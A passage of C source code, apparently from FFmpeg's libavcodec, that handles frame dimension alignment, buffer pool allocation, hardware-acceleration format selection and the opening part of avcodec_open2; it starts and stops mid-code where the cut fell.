AV_PIX_FMT_YUVA444P10LE: case AV_PIX_FMT_YUVA444P10BE: case AV_PIX_FMT_YUVA444P16LE: case AV_PIX_FMT_YUVA444P16BE: case AV_PIX_FMT_GBRP9LE: case AV_PIX_FMT_GBRP9BE: case AV_PIX_FMT_GBRP10LE: case AV_PIX_FMT_GBRP10BE: case AV_PIX_FMT_GBRP12LE: case AV_PIX_FMT_GBRP12BE: case AV_PIX_FMT_GBRP14LE: case AV_PIX_FMT_GBRP14BE: case AV_PIX_FMT_GBRP16LE: case AV_PIX_FMT_GBRP16BE: case AV_PIX_FMT_GBRAP12LE: case AV_PIX_FMT_GBRAP12BE: case AV_PIX_FMT_GBRAP16LE: case AV_PIX_FMT_GBRAP16BE: w_align = 16; //FIXME assume 16 pixel per macroblock h_align = 16 * 2; // interlaced needs 2 macroblocks height break; case AV_PIX_FMT_YUV411P: case AV_PIX_FMT_YUVJ411P: case AV_PIX_FMT_UYYVYY411: w_align = 32; h_align = 16 * 2; break; case AV_PIX_FMT_YUV410P: if (s->codec_id == AV_CODEC_ID_SVQ1) { w_align = 64; h_align = 64; } break; case AV_PIX_FMT_RGB555: if (s->codec_id == AV_CODEC_ID_RPZA) { w_align = 4; h_align = 4; } break; case AV_PIX_FMT_PAL8: case AV_PIX_FMT_BGR8: case AV_PIX_FMT_RGB8: if (s->codec_id == AV_CODEC_ID_SMC || s->codec_id == AV_CODEC_ID_CINEPAK) { w_align = 4; h_align = 4; } if (s->codec_id == AV_CODEC_ID_JV) { w_align = 8; h_align = 8; } break; case AV_PIX_FMT_BGR24: if ((s->codec_id == AV_CODEC_ID_MSZH) || (s->codec_id == AV_CODEC_ID_ZLIB)) { w_align = 4; h_align = 4; } break; case AV_PIX_FMT_RGB24: if (s->codec_id == AV_CODEC_ID_CINEPAK) { w_align = 4; h_align = 4; } break; default: break; } if (s->codec_id == AV_CODEC_ID_IFF_ILBM) { w_align = FFMAX(w_align, 8); } *width = FFALIGN(*width, w_align); *height = FFALIGN(*height, h_align); if (s->codec_id == AV_CODEC_ID_H264 || s->lowres) { // some of the optimized chroma MC reads one line too much // which is also done in mpeg decoders with lowres > 0 *height += 2; // H.264 uses edge emulation for out of frame motion vectors, for this // it requires a temporary area large enough to hold a 21x21 block, // increasing witdth ensure that the temporary area is large enough, // the next rounded up width is 32 *width = FFMAX(*width, 32); } for (i = 0; i < 4; i++) linesize_align[i] = STRIDE_ALIGN; } void avcodec_align_dimensions(AVCodecContext *s, int *width, int *height) { const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(s->pix_fmt); int chroma_shift = desc->log2_chroma_w; int linesize_align[AV_NUM_DATA_POINTERS]; int align; avcodec_align_dimensions2(s, width, height, linesize_align); align = FFMAX(linesize_align[0], linesize_align[3]); linesize_align[1] <<= chroma_shift; linesize_align[2] <<= chroma_shift; align = FFMAX3(align, linesize_align[1], linesize_align[2]); *width = FFALIGN(*width, align); } int avcodec_enum_to_chroma_pos(int *xpos, int *ypos, enum AVChromaLocation pos) { if (pos <= AVCHROMA_LOC_UNSPECIFIED || pos >= AVCHROMA_LOC_NB) return AVERROR(EINVAL); pos--; *xpos = (pos&1) * 128; *ypos = ((pos>>1)^(pos<4)) * 128; return 0; } enum AVChromaLocation avcodec_chroma_pos_to_enum(int xpos, int ypos) { int pos, xout, yout; for (pos = AVCHROMA_LOC_UNSPECIFIED + 1; pos < AVCHROMA_LOC_NB; pos++) { if (avcodec_enum_to_chroma_pos(&xout, &yout, pos) == 0 && xout == xpos && yout == ypos) return pos; } return AVCHROMA_LOC_UNSPECIFIED; } int avcodec_fill_audio_frame(AVFrame *frame, int nb_channels, enum AVSampleFormat sample_fmt, const uint8_t *buf, int buf_size, int align) { int ch, planar, needed_size, ret = 0; needed_size = av_samples_get_buffer_size(NULL, nb_channels, frame->nb_samples, sample_fmt, align); if (buf_size < needed_size) return AVERROR(EINVAL); planar = av_sample_fmt_is_planar(sample_fmt); if (planar && nb_channels > AV_NUM_DATA_POINTERS) { if (!(frame->extended_data = av_mallocz_array(nb_channels, sizeof(*frame->extended_data)))) return AVERROR(ENOMEM); } else { frame->extended_data = frame->data; } if ((ret = av_samples_fill_arrays(frame->extended_data, &frame->linesize[0], (uint8_t *)(intptr_t)buf, nb_channels, frame->nb_samples, sample_fmt, align)) < 0) { if (frame->extended_data != frame->data) av_freep(&frame->extended_data); return ret; } if (frame->extended_data != frame->data) { for (ch = 0; ch < AV_NUM_DATA_POINTERS; ch++) frame->data[ch] = frame->extended_data[ch]; } return ret; } static int update_frame_pool(AVCodecContext *avctx, AVFrame *frame) { FramePool *pool = avctx->internal->pool; int i, ret; switch (avctx->codec_type) { case AVMEDIA_TYPE_VIDEO: { uint8_t *data[4]; int linesize[4]; int size[4] = { 0 }; int w = frame->width; int h = frame->height; int tmpsize, unaligned; if (pool->format == frame->format && pool->width == frame->width && pool->height == frame->height) return 0; avcodec_align_dimensions2(avctx, &w, &h, pool->stride_align); do { // NOTE: do not align linesizes individually, this breaks e.g. assumptions // that linesize[0] == 2*linesize[1] in the MPEG-encoder for 4:2:2 ret = av_image_fill_linesizes(linesize, avctx->pix_fmt, w); if (ret < 0) return ret; // increase alignment of w for next try (rhs gives the lowest bit set in w) w += w & ~(w - 1); unaligned = 0; for (i = 0; i < 4; i++) unaligned |= linesize[i] % pool->stride_align[i]; } while (unaligned); tmpsize = av_image_fill_pointers(data, avctx->pix_fmt, h, NULL, linesize); if (tmpsize < 0) return -1; for (i = 0; i < 3 && data[i + 1]; i++) size[i] = data[i + 1] - data[i]; size[i] = tmpsize - (data[i] - data[0]); for (i = 0; i < 4; i++) { av_buffer_pool_uninit(&pool->pools[i]); pool->linesize[i] = linesize[i]; if (size[i]) { pool->pools[i] = av_buffer_pool_init(size[i] + 16 + STRIDE_ALIGN - 1, CONFIG_MEMORY_POISONING ? NULL : av_buffer_allocz); if (!pool->pools[i]) { ret = AVERROR(ENOMEM); goto fail; } } } pool->format = frame->format; pool->width = frame->width; pool->height = frame->height; break; } case AVMEDIA_TYPE_AUDIO: { int ch = av_frame_get_channels(frame); //av_get_channel_layout_nb_channels(frame->channel_layout); int planar = av_sample_fmt_is_planar(frame->format); int planes = planar ? ch : 1; if (pool->format == frame->format && pool->planes == planes && pool->channels == ch && frame->nb_samples == pool->samples) return 0; av_buffer_pool_uninit(&pool->pools[0]); ret = av_samples_get_buffer_size(&pool->linesize[0], ch, frame->nb_samples, frame->format, 0); if (ret < 0) goto fail; pool->pools[0] = av_buffer_pool_init(pool->linesize[0], NULL); if (!pool->pools[0]) { ret = AVERROR(ENOMEM); goto fail; } pool->format = frame->format; pool->planes = planes; pool->channels = ch; pool->samples = frame->nb_samples; break; } default: av_assert0(0); } return 0; fail: for (i = 0; i < 4; i++) av_buffer_pool_uninit(&pool->pools[i]); pool->format = -1; pool->planes = pool->channels = pool->samples = 0; pool->width = pool->height = 0; return ret; } static int audio_get_buffer(AVCodecContext *avctx, AVFrame *frame) { FramePool *pool = avctx->internal->pool; int planes = pool->planes; int i; frame->linesize[0] = pool->linesize[0]; if (planes > AV_NUM_DATA_POINTERS) { frame->extended_data = av_mallocz_array(planes, sizeof(*frame->extended_data)); frame->nb_extended_buf = planes - AV_NUM_DATA_POINTERS; frame->extended_buf = av_mallocz_array(frame->nb_extended_buf, sizeof(*frame->extended_buf)); if (!frame->extended_data || !frame->extended_buf) { av_freep(&frame->extended_data); av_freep(&frame->extended_buf); return AVERROR(ENOMEM); } } else { frame->extended_data = frame->data; av_assert0(frame->nb_extended_buf == 0); } for (i = 0; i < FFMIN(planes, AV_NUM_DATA_POINTERS); i++) { frame->buf[i] = av_buffer_pool_get(pool->pools[0]); if (!frame->buf[i]) goto fail; frame->extended_data[i] = frame->data[i] = frame->buf[i]->data; } for (i = 0; i < frame->nb_extended_buf; i++) { frame->extended_buf[i] = av_buffer_pool_get(pool->pools[0]); if (!frame->extended_buf[i]) goto fail; frame->extended_data[i + AV_NUM_DATA_POINTERS] = frame->extended_buf[i]->data; } if (avctx->debug & FF_DEBUG_BUFFERS) av_log(avctx, AV_LOG_DEBUG, "default_get_buffer called on frame %p", frame); return 0; fail: av_frame_unref(frame); return AVERROR(ENOMEM); } static int video_get_buffer(AVCodecContext *s, AVFrame *pic) { FramePool *pool = s->internal->pool; const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(pic->format); int i; if (pic->data[0] || pic->data[1] || pic->data[2] || pic->data[3]) { av_log(s, AV_LOG_ERROR, "pic->data[*]!=NULL in avcodec_default_get_buffer\n"); return -1; } if (!desc) { av_log(s, AV_LOG_ERROR, "Unable to get pixel format descriptor for format %s\n", av_get_pix_fmt_name(pic->format)); return AVERROR(EINVAL); } memset(pic->data, 0, sizeof(pic->data)); pic->extended_data = pic->data; for (i = 0; i < 4 && pool->pools[i]; i++) { pic->linesize[i] = pool->linesize[i]; pic->buf[i] = av_buffer_pool_get(pool->pools[i]); if (!pic->buf[i]) goto fail; pic->data[i] = pic->buf[i]->data; } for (; i < AV_NUM_DATA_POINTERS; i++) { pic->data[i] = NULL; pic->linesize[i] = 0; } if (desc->flags & AV_PIX_FMT_FLAG_PAL || desc->flags & AV_PIX_FMT_FLAG_PSEUDOPAL) avpriv_set_systematic_pal2((uint32_t *)pic->data[1], pic->format); if (s->debug & FF_DEBUG_BUFFERS) av_log(s, AV_LOG_DEBUG, "default_get_buffer called on pic %p\n", pic); return 0; fail: av_frame_unref(pic); return AVERROR(ENOMEM); } void ff_color_frame(AVFrame *frame, const int c[4]) { const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(frame->format); int p, y, x; av_assert0(desc->flags & AV_PIX_FMT_FLAG_PLANAR); for (p = 0; p<desc->nb_components; p++) { uint8_t *dst = frame->data[p]; int is_chroma = p == 1 || p == 2; int bytes = is_chroma ? AV_CEIL_RSHIFT(frame->width, desc->log2_chroma_w) : frame->width; int height = is_chroma ? AV_CEIL_RSHIFT(frame->height, desc->log2_chroma_h) : frame->height; for (y = 0; y < height; y++) { if (desc->comp[0].depth >= 9) { for (x = 0; x<bytes; x++) ((uint16_t*)dst)[x] = c[p]; }else memset(dst, c[p], bytes); dst += frame->linesize[p]; } } } int avcodec_default_get_buffer2(AVCodecContext *avctx, AVFrame *frame, int flags) { int ret; if (avctx->hw_frames_ctx) return av_hwframe_get_buffer(avctx->hw_frames_ctx, frame, 0); if ((ret = update_frame_pool(avctx, frame)) < 0) return ret; switch (avctx->codec_type) { case AVMEDIA_TYPE_VIDEO: return video_get_buffer(avctx, frame); case AVMEDIA_TYPE_AUDIO: return audio_get_buffer(avctx, frame); default: return -1; } } static int add_metadata_from_side_data(AVPacket *avpkt, AVFrame *frame) { int size; const uint8_t *side_metadata; AVDictionary **frame_md = avpriv_frame_get_metadatap(frame); side_metadata = av_packet_get_side_data(avpkt, AV_PKT_DATA_STRINGS_METADATA, &size); return av_packet_unpack_dictionary(side_metadata, size, frame_md); } int ff_init_buffer_info(AVCodecContext *avctx, AVFrame *frame) { AVPacket *pkt = avctx->internal->pkt; int i; static const struct { enum AVPacketSideDataType packet; enum AVFrameSideDataType frame; } sd[] = { { AV_PKT_DATA_REPLAYGAIN , AV_FRAME_DATA_REPLAYGAIN }, { AV_PKT_DATA_DISPLAYMATRIX, AV_FRAME_DATA_DISPLAYMATRIX }, { AV_PKT_DATA_SPHERICAL, AV_FRAME_DATA_SPHERICAL }, { AV_PKT_DATA_STEREO3D, AV_FRAME_DATA_STEREO3D }, { AV_PKT_DATA_AUDIO_SERVICE_TYPE, AV_FRAME_DATA_AUDIO_SERVICE_TYPE }, { AV_PKT_DATA_MASTERING_DISPLAY_METADATA, AV_FRAME_DATA_MASTERING_DISPLAY_METADATA }, }; if (pkt) { frame->pts = pkt->pts; #if FF_API_PKT_PTS FF_DISABLE_DEPRECATION_WARNINGS frame->pkt_pts = pkt->pts; FF_ENABLE_DEPRECATION_WARNINGS #endif av_frame_set_pkt_pos (frame, pkt->pos); av_frame_set_pkt_duration(frame, pkt->duration); av_frame_set_pkt_size (frame, pkt->size); for (i = 0; i < FF_ARRAY_ELEMS(sd); i++) { int size; uint8_t *packet_sd = av_packet_get_side_data(pkt, sd[i].packet, &size); if (packet_sd) { AVFrameSideData *frame_sd = av_frame_new_side_data(frame, sd[i].frame, size); if (!frame_sd) return AVERROR(ENOMEM); memcpy(frame_sd->data, packet_sd, size); } } add_metadata_from_side_data(pkt, frame); if (pkt->flags & AV_PKT_FLAG_DISCARD) { frame->flags |= AV_FRAME_FLAG_DISCARD; } else { frame->flags = (frame->flags & ~AV_FRAME_FLAG_DISCARD); } } else { frame->pts = AV_NOPTS_VALUE; #if FF_API_PKT_PTS FF_DISABLE_DEPRECATION_WARNINGS frame->pkt_pts = AV_NOPTS_VALUE; FF_ENABLE_DEPRECATION_WARNINGS #endif av_frame_set_pkt_pos (frame, -1); av_frame_set_pkt_duration(frame, 0); av_frame_set_pkt_size (frame, -1); } frame->reordered_opaque = avctx->reordered_opaque; if (frame->color_primaries == AVCOL_PRI_UNSPECIFIED) frame->color_primaries = avctx->color_primaries; if (frame->color_trc == AVCOL_TRC_UNSPECIFIED) frame->color_trc = avctx->color_trc; if (av_frame_get_colorspace(frame) == AVCOL_SPC_UNSPECIFIED) av_frame_set_colorspace(frame, avctx->colorspace); if (av_frame_get_color_range(frame) == AVCOL_RANGE_UNSPECIFIED) av_frame_set_color_range(frame, avctx->color_range); if (frame->chroma_location == AVCHROMA_LOC_UNSPECIFIED) frame->chroma_location = avctx->chroma_sample_location; switch (avctx->codec->type) { case AVMEDIA_TYPE_VIDEO: frame->format = avctx->pix_fmt; if (!frame->sample_aspect_ratio.num) frame->sample_aspect_ratio = avctx->sample_aspect_ratio; if (frame->width && frame->height && av_image_check_sar(frame->width, frame->height, frame->sample_aspect_ratio) < 0) { av_log(avctx, AV_LOG_WARNING, "ignoring invalid SAR: %u/%u\n", frame->sample_aspect_ratio.num, frame->sample_aspect_ratio.den); frame->sample_aspect_ratio = (AVRational){ 0, 1 }; } break; case AVMEDIA_TYPE_AUDIO: if (!frame->sample_rate) frame->sample_rate = avctx->sample_rate; if (frame->format < 0) frame->format = avctx->sample_fmt; if (!frame->channel_layout) { if (avctx->channel_layout) { if (av_get_channel_layout_nb_channels(avctx->channel_layout) != avctx->channels) { av_log(avctx, AV_LOG_ERROR, "Inconsistent channel " "configuration.\n"); return AVERROR(EINVAL); } frame->channel_layout = avctx->channel_layout; } else { if (avctx->channels > FF_SANE_NB_CHANNELS) { av_log(avctx, AV_LOG_ERROR, "Too many channels: %d.\n", avctx->channels); return AVERROR(ENOSYS); } } } av_frame_set_channels(frame, avctx->channels); break; } return 0; } int ff_decode_frame_props(AVCodecContext *avctx, AVFrame *frame) { return ff_init_buffer_info(avctx, frame); } static void validate_avframe_allocation(AVCodecContext *avctx, AVFrame *frame) { if (avctx->codec_type == AVMEDIA_TYPE_VIDEO) { int i; int num_planes = av_pix_fmt_count_planes(frame->format); const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(frame->format); int flags = desc ? desc->flags : 0; if (num_planes == 1 && (flags & AV_PIX_FMT_FLAG_PAL)) num_planes = 2; for (i = 0; i < num_planes; i++) { av_assert0(frame->data[i]); } // For now do not enforce anything for palette of pseudopal formats if (num_planes == 1 && (flags & AV_PIX_FMT_FLAG_PSEUDOPAL)) num_planes = 2; // For formats without data like hwaccel allow unused pointers to be non-NULL. for (i = num_planes; num_planes > 0 && i < FF_ARRAY_ELEMS(frame->data); i++) { if (frame->data[i]) av_log(avctx, AV_LOG_ERROR, "Buffer returned by get_buffer2() did not zero unused plane pointers\n"); frame->data[i] = NULL; } } } static int get_buffer_internal(AVCodecContext *avctx, AVFrame *frame, int flags) { const AVHWAccel *hwaccel = avctx->hwaccel; int override_dimensions = 1; int ret; if (avctx->codec_type == AVMEDIA_TYPE_VIDEO) { if ((ret = av_image_check_size2(avctx->width, avctx->height, avctx->max_pixels, AV_PIX_FMT_NONE, 0, avctx)) < 0 || avctx->pix_fmt<0) { av_log(avctx, AV_LOG_ERROR, "video_get_buffer: image parameters invalid\n"); return AVERROR(EINVAL); } if (frame->width <= 0 || frame->height <= 0) { frame->width = FFMAX(avctx->width, AV_CEIL_RSHIFT(avctx->coded_width, avctx->lowres)); frame->height = FFMAX(avctx->height, AV_CEIL_RSHIFT(avctx->coded_height, avctx->lowres)); override_dimensions = 0; } if (frame->data[0] || frame->data[1] || frame->data[2] || frame->data[3]) { av_log(avctx, AV_LOG_ERROR, "pic->data[*]!=NULL in get_buffer_internal\n"); return AVERROR(EINVAL); } } ret = ff_decode_frame_props(avctx, frame); if (ret < 0) return ret; if (hwaccel) { if (hwaccel->alloc_frame) { ret = hwaccel->alloc_frame(avctx, frame); goto end; } } else avctx->sw_pix_fmt = avctx->pix_fmt; ret = avctx->get_buffer2(avctx, frame, flags); if (ret >= 0) validate_avframe_allocation(avctx, frame); end: if (avctx->codec_type == AVMEDIA_TYPE_VIDEO && !override_dimensions) { frame->width = avctx->width; frame->height = avctx->height; } return ret; } int ff_get_buffer(AVCodecContext *avctx, AVFrame *frame, int flags) { int ret = get_buffer_internal(avctx, frame, flags); if (ret < 0) { av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n"); frame->width = frame->height = 0; } return ret; } static int reget_buffer_internal(AVCodecContext *avctx, AVFrame *frame) { AVFrame *tmp; int ret; av_assert0(avctx->codec_type == AVMEDIA_TYPE_VIDEO); if (frame->data[0] && (frame->width != avctx->width || frame->height != avctx->height || frame->format != avctx->pix_fmt)) { av_log(avctx, AV_LOG_WARNING, "Picture changed from size:%dx%d fmt:%s to size:%dx%d fmt:%s in reget buffer()\n", frame->width, frame->height, av_get_pix_fmt_name(frame->format), avctx->width, avctx->height, av_get_pix_fmt_name(avctx->pix_fmt)); av_frame_unref(frame); } ff_init_buffer_info(avctx, frame); if (!frame->data[0]) return ff_get_buffer(avctx, frame, AV_GET_BUFFER_FLAG_REF); if (av_frame_is_writable(frame)) return ff_decode_frame_props(avctx, frame); tmp = av_frame_alloc(); if (!tmp) return AVERROR(ENOMEM); av_frame_move_ref(tmp, frame); ret = ff_get_buffer(avctx, frame, AV_GET_BUFFER_FLAG_REF); if (ret < 0) { av_frame_free(&tmp); return ret; } av_frame_copy(frame, tmp); av_frame_free(&tmp); return 0; } int ff_reget_buffer(AVCodecContext *avctx, AVFrame *frame) { int ret = reget_buffer_internal(avctx, frame); if (ret < 0) av_log(avctx, AV_LOG_ERROR, "reget_buffer() failed\n"); return ret; } int avcodec_default_execute(AVCodecContext *c, int (*func)(AVCodecContext *c2, void *arg2), void *arg, int *ret, int count, int size) { int i; for (i = 0; i < count; i++) { int r = func(c, (char *)arg + i * size); if (ret) ret[i] = r; } emms_c(); return 0; } int avcodec_default_execute2(AVCodecContext *c, int (*func)(AVCodecContext *c2, void *arg2, int jobnr, int threadnr), void *arg, int *ret, int count) { int i; for (i = 0; i < count; i++) { int r = func(c, arg, i, 0); if (ret) ret[i] = r; } emms_c(); return 0; } enum AVPixelFormat avpriv_find_pix_fmt(const PixelFormatTag *tags, unsigned int fourcc) { while (tags->pix_fmt >= 0) { if (tags->fourcc == fourcc) return tags->pix_fmt; tags++; } return AV_PIX_FMT_NONE; } static int is_hwaccel_pix_fmt(enum AVPixelFormat pix_fmt) { const AVPixFmtDescriptor *desc = av_pix_fmt_desc_get(pix_fmt); return desc->flags & AV_PIX_FMT_FLAG_HWACCEL; } enum AVPixelFormat avcodec_default_get_format(struct AVCodecContext *s, const enum AVPixelFormat *fmt) { while (*fmt != AV_PIX_FMT_NONE && is_hwaccel_pix_fmt(*fmt)) ++fmt; return fmt[0]; } static AVHWAccel *find_hwaccel(enum AVCodecID codec_id, enum AVPixelFormat pix_fmt) { AVHWAccel *hwaccel = NULL; while ((hwaccel = av_hwaccel_next(hwaccel))) if (hwaccel->id == codec_id && hwaccel->pix_fmt == pix_fmt) return hwaccel; return NULL; } static int setup_hwaccel(AVCodecContext *avctx, const enum AVPixelFormat fmt, const char *name) { AVHWAccel *hwa = find_hwaccel(avctx->codec_id, fmt); int ret = 0; if (avctx->active_thread_type & FF_THREAD_FRAME) { av_log(avctx, AV_LOG_WARNING, "Hardware accelerated decoding with frame threading is known to be unstable and its use is discouraged.\n"); } if (!hwa) { av_log(avctx, AV_LOG_ERROR, "Could not find an AVHWAccel for the pixel format: %s", name); return AVERROR(ENOENT); } if (hwa->capabilities & HWACCEL_CODEC_CAP_EXPERIMENTAL && avctx->strict_std_compliance > FF_COMPLIANCE_EXPERIMENTAL) { av_log(avctx, AV_LOG_WARNING, "Ignoring experimental hwaccel: %s\n", hwa->name); return AVERROR_PATCHWELCOME; } if (hwa->priv_data_size) { avctx->internal->hwaccel_priv_data = av_mallocz(hwa->priv_data_size); if (!avctx->internal->hwaccel_priv_data) return AVERROR(ENOMEM); } if (hwa->init) { ret = hwa->init(avctx); if (ret < 0) { av_freep(&avctx->internal->hwaccel_priv_data); return ret; } } avctx->hwaccel = hwa; return 0; } int ff_get_format(AVCodecContext *avctx, const enum AVPixelFormat *fmt) { const AVPixFmtDescriptor *desc; enum AVPixelFormat *choices; enum AVPixelFormat ret; unsigned n = 0; while (fmt[n] != AV_PIX_FMT_NONE) ++n; av_assert0(n >= 1); avctx->sw_pix_fmt = fmt[n - 1]; av_assert2(!is_hwaccel_pix_fmt(avctx->sw_pix_fmt)); choices = av_malloc_array(n + 1, sizeof(*choices)); if (!choices) return AV_PIX_FMT_NONE; memcpy(choices, fmt, (n + 1) * sizeof(*choices)); for (;;) { if (avctx->hwaccel && avctx->hwaccel->uninit) avctx->hwaccel->uninit(avctx); av_freep(&avctx->internal->hwaccel_priv_data); avctx->hwaccel = NULL; av_buffer_unref(&avctx->hw_frames_ctx); ret = avctx->get_format(avctx, choices); desc = av_pix_fmt_desc_get(ret); if (!desc) { ret = AV_PIX_FMT_NONE; break; } if (!(desc->flags & AV_PIX_FMT_FLAG_HWACCEL)) break; #if FF_API_CAP_VDPAU if (avctx->codec->capabilities&AV_CODEC_CAP_HWACCEL_VDPAU) break; #endif if (avctx->hw_frames_ctx) { AVHWFramesContext *hw_frames_ctx = (AVHWFramesContext*)avctx->hw_frames_ctx->data; if (hw_frames_ctx->format != ret) { av_log(avctx, AV_LOG_ERROR, "Format returned from get_buffer() " "does not match the format of provided AVHWFramesContext\n"); ret = AV_PIX_FMT_NONE; break; } } if (!setup_hwaccel(avctx, ret, desc->name)) break; /* Remove failed hwaccel from choices */ for (n = 0; choices[n] != ret; n++) av_assert0(choices[n] != AV_PIX_FMT_NONE); do choices[n] = choices[n + 1]; while (choices[n++] != AV_PIX_FMT_NONE); } av_freep(&choices); return ret; } MAKE_ACCESSORS(AVCodecContext, codec, AVRational, pkt_timebase) MAKE_ACCESSORS(AVCodecContext, codec, const AVCodecDescriptor *, codec_descriptor) MAKE_ACCESSORS(AVCodecContext, codec, int, lowres) MAKE_ACCESSORS(AVCodecContext, codec, int, seek_preroll) MAKE_ACCESSORS(AVCodecContext, codec, uint16_t*, chroma_intra_matrix) unsigned av_codec_get_codec_properties(const AVCodecContext *codec) { return codec->properties; } int av_codec_get_max_lowres(const AVCodec *codec) { return codec->max_lowres; } int avpriv_codec_get_cap_skip_frame_fill_param(const AVCodec *codec){ return !!(codec->caps_internal & FF_CODEC_CAP_SKIP_FRAME_FILL_PARAM); } static void get_subtitle_defaults(AVSubtitle *sub) { memset(sub, 0, sizeof(*sub)); sub->pts = AV_NOPTS_VALUE; } static int64_t get_bit_rate(AVCodecContext *ctx) { int64_t bit_rate; int bits_per_sample; switch (ctx->codec_type) { case AVMEDIA_TYPE_VIDEO: case AVMEDIA_TYPE_DATA: case AVMEDIA_TYPE_SUBTITLE: case AVMEDIA_TYPE_ATTACHMENT: bit_rate = ctx->bit_rate; break; case AVMEDIA_TYPE_AUDIO: bits_per_sample = av_get_bits_per_sample(ctx->codec_id); bit_rate = bits_per_sample ? ctx->sample_rate * (int64_t)ctx->channels * bits_per_sample : ctx->bit_rate; break; default: bit_rate = 0; break; } return bit_rate; } int attribute_align_arg ff_codec_open2_recursive(AVCodecContext *avctx, const AVCodec *codec, AVDictionary **options) { int ret = 0; ff_unlock_avcodec(codec); ret = avcodec_open2(avctx, codec, options); ff_lock_avcodec(avctx, codec); return ret; } int attribute_align_arg avcodec_open2(AVCodecContext *avctx, const AVCodec *codec, AVDictionary **options) { int ret = 0; AVDictionary *tmp = NULL; const AVPixFmtDescriptor *pixdesc; if (avcodec_is_open(avctx)) return 0; if ((!codec && !avctx->codec)) { av_log(avctx, AV_LOG_ERROR, "No codec provided to avcodec_open2()\n"); return AVERROR(EINVAL); } if ((codec && avctx->codec && codec != avctx->codec)) { av_log(avctx, AV_LOG_ERROR, "This AVCodecContext was allocated for %s, " "but %s passed to avcodec_open2()\n", avctx->codec->name, codec->name); return AVERROR(EINVAL); } if (!codec) codec = avctx->codec; if (avctx->extradata_size < 0 || avctx->extradata_size >= FF_MAX_EXTRADATA_SIZE) return AVERROR(EINVAL); if (options) av_dict_copy(&tmp, *options, 0); ret = ff_lock_avcodec(avctx, codec); if (ret < 0) return ret; avctx->internal = av_mallocz(sizeof(AVCodecInternal)); if (!avctx->internal) { ret = AVERROR(ENOMEM); goto end; } avctx->internal->pool = av_mallocz(sizeof(*avctx->internal->pool)); if (!avctx->internal->pool) { ret = AVERROR(ENOMEM); goto free_and_end; } avctx->internal->to_free = av_frame_alloc(); if (!avctx->internal->to_free) { ret = AVERROR(ENOMEM); goto free_and_end; } avctx->internal->buffer_frame = av_frame_alloc(); if (!avctx->internal->buffer_frame) { ret = AVERROR(ENOMEM); goto free_and_end; } avctx->internal->buffer_pkt = av_packet_alloc(); if (!avctx->internal->buffer_pkt) { ret = AVERROR(ENOMEM); goto free_and_end; } if (codec->priv_data_size > 0) { if (!avctx->priv_data) { avctx->priv_data = av_mallocz(codec->priv_data_size); if (!avctx->priv_data) { ret = AVERROR(ENOMEM); goto end; } if (codec->priv_class) { *(const AVClass **)avctx->priv_data = codec->priv_class; av_opt_set_defaults(avctx->priv_data); } } if (codec->priv_class && (ret = av_opt_set_dict(avctx->priv_data, &tmp)) < 0) goto free_and_end; } else { avctx->priv_data = NULL; } if ((ret = av_opt_set_dict(avctx, &tmp)) < 0) goto free_and_end; if (avctx->codec_whitelist && av_match_list(codec->name, avctx->codec_whitelist, ',') <= 0) { av_log(avctx, AV_LOG_ERROR, "Codec (%s) not on whitelist \'%s\'\n", codec->name, avctx->codec_whitelist); ret = AVERROR(EINVAL); goto free_and_end; } // only call ff_set_dimensions() for non H.264/VP6F/DXV codecs so as not to overwrite previously setup dimensions if (!(avctx->coded_width && avctx->coded_height && avctx->width && avctx->height && (avctx->codec_id == AV_CODEC_ID_H264 || avctx->codec_id == AV_CODEC_ID_VP6F || avctx->codec_id == AV_CODEC_ID_DXV))) { if (avctx->coded_width && avctx->coded_height) ret = ff_set_dimensions(avctx, avctx->coded_width, avctx->coded_height); else if (avctx->width && avctx->height) ret = ff_set_dimensions(avctx, avctx->width, avctx->height); if (ret < 0) goto free_and_end; } if ((avctx->coded_width || avctx->coded_height || avctx->width || avctx->height) && ( av_image_check_size2(avctx->coded_width, avctx->coded_height, avctx->max_pixels, AV_PIX_FMT_NONE, 0, avctx) < 0 || av_image_check_size2(avctx->width, avctx->height, avctx->max_pixels, AV_PIX_FMT_NONE, 0, avctx) < 0)) { av_log(avctx, AV_LOG_WARNING, "Ignoring invalid width/height values\n"); ff_set_dimensions(avctx, 0, 0); } if (avctx->width > 0 && avctx->height > 0) { if (av_image_check_sar(avctx->width, avctx->height, avctx->sample_aspect_ratio) < 0) { av_log(avctx, AV_LOG_WARNING, "ignoring invalid SAR: %u/%u\n", avctx->sample_aspect_ratio.num, avctx->sample_aspect_ratio.den); avctx->sample_aspect_ratio = (AVRational){ 0, 1 }; } } /* if the decoder init function was already called previously, * free the already allocated subtitle_header before overwriting it */ if (av_codec_is_decoder(codec)) av_freep(&avctx->subtitle_header); if (avctx->channels > FF_SANE_NB_CHANNELS) { ret = AVERROR(EINVAL); goto free_and_end; } avctx->codec = codec; if ((avctx->codec_type == AVMEDIA_TYPE_UNKNOWN || avctx->codec_type == codec->type) && avctx->codec_id == AV_CODEC_ID_NONE) { avctx->codec_type = codec->type; avctx->codec_id = codec->id; } if (avctx->codec_id != codec->id || (avctx->codec_type != codec->type && avctx->codec_type != AVMEDIA_TYPE_ATTACHMENT)) { av_log(avctx, AV_LOG_ERROR, "Codec type or id mismatches\n"); ret = AVERROR(EINVAL); goto free_and_end; } avctx->frame_number = 0; avctx->codec_descriptor = avcodec_descriptor_get(avctx->codec_id); if ((avctx->codec->capabilities & AV_CODEC_CAP_EXPERIMENTAL) && avctx->strict_std_compliance > FF_COMPLIANCE_EXPERIMENTAL) { const char *codec_string = av_codec_is_encoder(codec) ? "encoder" : "decoder"; AVCodec *codec2; av_log(avctx, AV_LOG_ERROR, "The %s '%s' is experimental but experimental codecs are not enabled, " "add '-strict %d' if you want to use it.\n", codec_string, codec->name, FF_COMPLIANCE_EXPERIMENTAL); codec2 = av_codec_is_encoder(codec) ? avcodec_find_encoder(codec->id) : avcodec_find_decoder(codec->id); if (!(codec2->capabilities & AV_CODEC_CAP_EXPERIMENTAL)) av_log(avctx, AV_LOG_ERROR, "Alternatively use the non experimental %s '%s'.\n", codec_string, codec2->name); ret = AVERROR_EXPERIMENTAL; goto free_and_end; } if (avctx->codec_type == AVMEDIA_TYPE_AUDIO && (!avctx->time_base.num || !avctx->time_base.den)) { avctx->time_base.num = 1; avctx->time_base.den = avctx->sample_rate; } if (!HAVE_THREADS) av_log(avctx, AV_LOG_WARNING, "Warning: not compiled with thread support, using thread 